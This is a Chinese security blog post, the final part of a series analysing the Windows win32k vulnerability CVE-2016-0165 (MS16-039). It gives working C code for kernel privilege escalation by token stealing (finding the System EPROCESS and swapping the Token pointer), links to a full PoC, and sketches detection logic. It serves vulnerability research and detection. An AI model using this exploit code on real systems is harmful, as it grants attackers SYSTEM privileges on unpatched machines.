作者:Leeqwind
作者博客:https://xiaodaozhi.com/exploit/56.html
本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
本文分为三篇:
从 CVE-2016-0165 说起:分析、利用和检测(上)
从 CVE-2016-0165 说起:分析、利用和检测(中)
从 CVE-2016-0165 说起:分析、利用和检测(下)
前面的章节实现了由用户进程控制的任意内存地址读写的能力,接下来将通过该能力实现内核提权。提权,意味着进程特权级的提升,提权之后当前进程拥有的权限将高于提权之前,将可执行在原本特权级别下所无法执行的很多操作,并能够访问原本由于 ACL 或完整性校验机制限制所不能访问的特定文件、注册表或进程等对象。
Token
在 Windows 系统中的内核提权通常方法是将目标进程的 Token
结构数据或指针替换成 System
进程等系统进程的 Token
结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。
第一步首先需要定位到 NT 执行体模块的内存地址。操作系统为我们提供了枚举内核模块的 EnumDeviceDrivers
函数。该函数用于获取系统中的所有设备驱动程序的加载地址。NT 执行体模块作为第一内核模块,其地址会出现在地址数组的第一个元素中。
DWORD_PTR
xxGetNtoskrnlAddress(VOID)
{
DWORD_PTR AddrList[500] = { 0 };
DWORD cbNeeded = 0;
EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded);
return AddrList[0];
}
清单 6-1 获取内核执行体模块地址的验证代码片段
在 NT 执行体模块中存在 PsInitialSystemProcess
导出变量,在系统启动时 PspInitPhase0
函数执行期间该导出变量被赋值为 System
进程的 EPROCESS
地址。那么接下来只要获得 PsInitialSystemProcess
变量在 NT 执行体模块中的偏移,就可以计算出其在当前系统环境中的绝对线性地址。
DWORD_PTR
xxGetSysPROCESS(VOID)
{
DWORD_PTR Module = 0x00;
DWORD_PTR NtAddr = 0x00;
Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe");
NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");
FreeLibrary((HMODULE)Module);
NtAddr = NtAddr - Module;
Module = xxGetNtoskrnlAddress();
if (Module == 0x00)
{
return 0x00;
}
NtAddr = NtAddr + Module;
if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR)))
{
return 0x00;
}
return NtAddr;
}
清单 6-2 获取 System 进程 EPROCESS 对象基地址的验证代码
在当前 32 位的 Windows 7 操作系统环境下,由于是单核 CPU 并且支持 PAE 机制,所以系统加载的 NT 执行体是 ntkrnlpa.exe
模块。获得 PsInitialSystemProcess
变量的地址后,通过前面实现的任意内核地址读取功能获取该地址存储的数值,成功后就得到了 System
进程的进程体 EPROCESS
的基地址。
图 6-1 进程 EPROCESS 对象组成双向环形链表
众所周知的是,在 Windows 操作系统中,所有的进程体 EPROCESS
对象以各自的 LIST_ENTRY
ActiveProcessLinks
成员域首尾相接,成员域 ActiveProcessLinks.Flink
指向下一个进程 EPROCESS
对象的 ActiveProcessLinks
成员域首地址,ActiveProcessLinks.Blink
指向上一个进程 EPROCESS
对象的 ActiveProcessLinks
成员域首地址。像这样地,所有的进程组成一个庞大的环形双向链表。获得了 System 进程的 EPROCESS
对象基地址,就可以“顺藤摸瓜”找到当前进程的 EPROCESS
基地址。
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
...
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
...
+0x0f8 Token : _EX_FAST_REF
...
+0x16c ImageFileName : [15] UChar
...
+0x2a8 TimerResolutionLink : _LIST_ENTRY
+0x2b0 RequestedTimerResolution : Uint4B
+0x2b4 ActiveThreadsHighWatermark : Uint4B
+0x2b8 SmallestTimerResolution : Uint4B
+0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD
清单 6-3 在 WinDBG 中显示的 EPROCESS 结构
根据获取的各个成员域的偏移,通过 ActiveProcessLinks
成员的值获取下一个进程 EPROCESS
对象的 ActiveProcessLinks
成员域首地址就可以计算出 EPROCESS
的基地址。判断当前遍历到的 EPROCESS
对象 UniqueProcessId
成员域的值是否和当前进程的进程 ID 相等,如果相等就定位到了当前进程的 EPROCESS
节点。
DWORD_PTR
xxGetTarPROCESS(DWORD_PTR SysPROC)
{
if (SysPROC == 0x00)
{
return 0x00;
}
DWORD_PTR point = SysPROC;
DWORD_PTR value = 0x00;
do
{
value = 0x00;
xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR));
if (value == 0x00)
{
break;
}
if (value == GetCurrentProcessId())
{
return point;
}
value = 0x00;
xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR));
if (value == 0x00)
{
break;
}
point = value - off_EPROCESS_ActiveLinks;
if (point == SysPROC)
{
break;
}
} while (TRUE);
return 0x00;
}
清单 6-4 根据 System 进程获取当前进程 EPROCESS 的验证代码
获取到了 System
进程和当前进程的 EPROCESS
对象的地址,接下来就是对 Token
的替换了。有两种方法可选:一是将当前进程 EPROCESS
中存储的 Token
指针替换为 System
进程的 Token
指针,二是将当前进程 EPROCESS
的成员 Token
指针指向的 Token
块中的数据替换成 System
进程拥有的 Token
块的数据。在本分析中选择前一种方法。
进程 EPROCESS
对象的 Token
成员域是一个 _EX_FAST_REF
类型的成员,定义如下:
kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
+0x000 Object : Ptr32 Void
+0x000 RefCnt : Pos 0, 3 Bits
+0x000 Value : Uint4B
数值的低 3
位表示引用计数,去除低 3
位数值后的 32
位完整数值指向实际表示的内存地址。
Token
结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid
),特权级(Privileges
)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System
进程的 Token
结构块的数据如下:
kd> !token 89a01270
_TOKEN 0xffffffff89a01270
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544
Attributes - Default Enabled Owner
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-11
Attributes - Mandatory Default Enabled
03 S-1-16-16384
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
02 0x000000002 SeCreateTokenPrivilege Attributes -
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
...
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea ParentToken ID: 0
Modified ID: (0, 3eb)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0
清单 6-5 System 进程的 Token 结构块的数据
在这里由于在提权完成后会将 Token
值替换回去,所以暂不关注 Token
指针的引用计数的增减。
BOOL
xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
{
if (dstPROC == 0x00 || srcPROC == 0x00)
{
return FALSE;
}
// get target process original token pointer
xxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
if (dstToken == 0x00)
{
return FALSE;
}
// get system process token pointer
xxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
if (srcToken == 0x00)
{
return FALSE;
}
// modify target process token pointer to system
xxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
// just test if the modification is successful
DWORD_PTR tmpToken = 0x00;
xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR));
if (tmpToken != srcToken)
{
return FALSE;
}
return TRUE;
}
清单 6-6 将目标进程 Token 指针替换为源进程 Token 指针的验证代码
提权成功后创建新的命令提示符进程作为后续行为执行进程,将 Token
替换回原来的值以保证释放进程 Token
时不会发生异常,当前进程的任务就完成了。接下来进行后续的善后操作,随后进程正常退出。
在新启动的命令提示符进程中使用 whoami
命令测试进程权属,可以观测到新启动的进程已属于 System
用户特权执行:
图 6-2 启动的命令提示符进程已属于 System 用户特权
根据该漏洞的利用机理,可实现代码对利用该漏洞的样本文件进行检测。该漏洞利用的检测逻辑相对比较简单,编写内核驱动程序并对在漏洞触发关键位置插入陷阱帧,将相关寄存器的值以参数的形式传入陷阱帧处理函数中,并在处理函数中判断寄存器的值是否满足漏洞触发条件。
本分析中使用的环境是 32 位 Windows 7 SP1 基础环境,其 win32k
模块的版本为 6.1.7601.17514
。分配缓冲区内存之前的漏洞关键位置的汇编指令:
.text:00073FEA lea eax, [ecx+1]
.text:00073FED imul eax, 28h
.text:00073FF0 test eax, eax
.text:00073FF2 jz short loc_7400A
.text:00073FF4 push 6E677247h ; Tag
.text:00073FF9 push eax ; NumberOfBytes
.text:00073FFA push 21h ; PoolType
.text:00073FFC call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
清单 7-1 漏洞关键位置的汇编指令
检测逻辑以如下的伪代码做简单说明:
ULONG tmp = ecx;
tmp++;
if (tmp < ecx)
{
// hit vuln exploit
}
if ((ULONG)(tmp * 0x28) < tmp)
{
// hit vuln exploit
}
清单 7-2 检测逻辑的伪代码
命中条件之后对命中的上下文相关数据依照个人意愿进行记录或传输。命中记录的示例:
图 7-1 漏洞命中的检测记录示例
[0] 本分析的 POC 下载
https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2016-0165/x86.cpp
[1] GDI Data Types
https://docs.microsoft.com/zh-cn/windows-hardware/drivers/display/gdi-data-types
[2] Windows GDI
https://msdn.microsoft.com/en-us/library/windows/desktop/dd145203(v=vs.85).aspx
[3] GDI Objects
https://msdn.microsoft.com/en-us/library/windows/desktop/ms724291(v=vs.85).aspx
[4] MS16-039 - "Windows 10" 64 bits Integer Overflow exploitation by using GDI objects
[5] Abusing GDI for ring0 exploit primitives
https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
[6] The Big Trick Behind Exploit MS12-034
https://www.coresecurity.com/blog/the-big-trick-behind-exploit-ms12-034
[7] windows_kernel_address_leaks
https://github.com/sam-b/windows_kernel_address_leaks
[8] Pool Feng-Shui –> Pool Overflow
https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/
[9] Kernel Pool Exploitation on Windows 7
https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf
[10] SURFOBJ structure
https://msdn.microsoft.com/en-us/library/windows/hardware/ff569901(v=vs.85).aspx
[11] THE BMP FILE FORMAT
[12] Microsoft 安全公告 MS16-039 - 严重
https://technet.microsoft.com/library/security/ms16-039